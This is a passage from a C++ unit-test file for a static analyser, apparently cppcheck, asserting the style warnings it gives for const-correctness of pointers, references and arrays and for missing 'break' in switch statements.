ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n 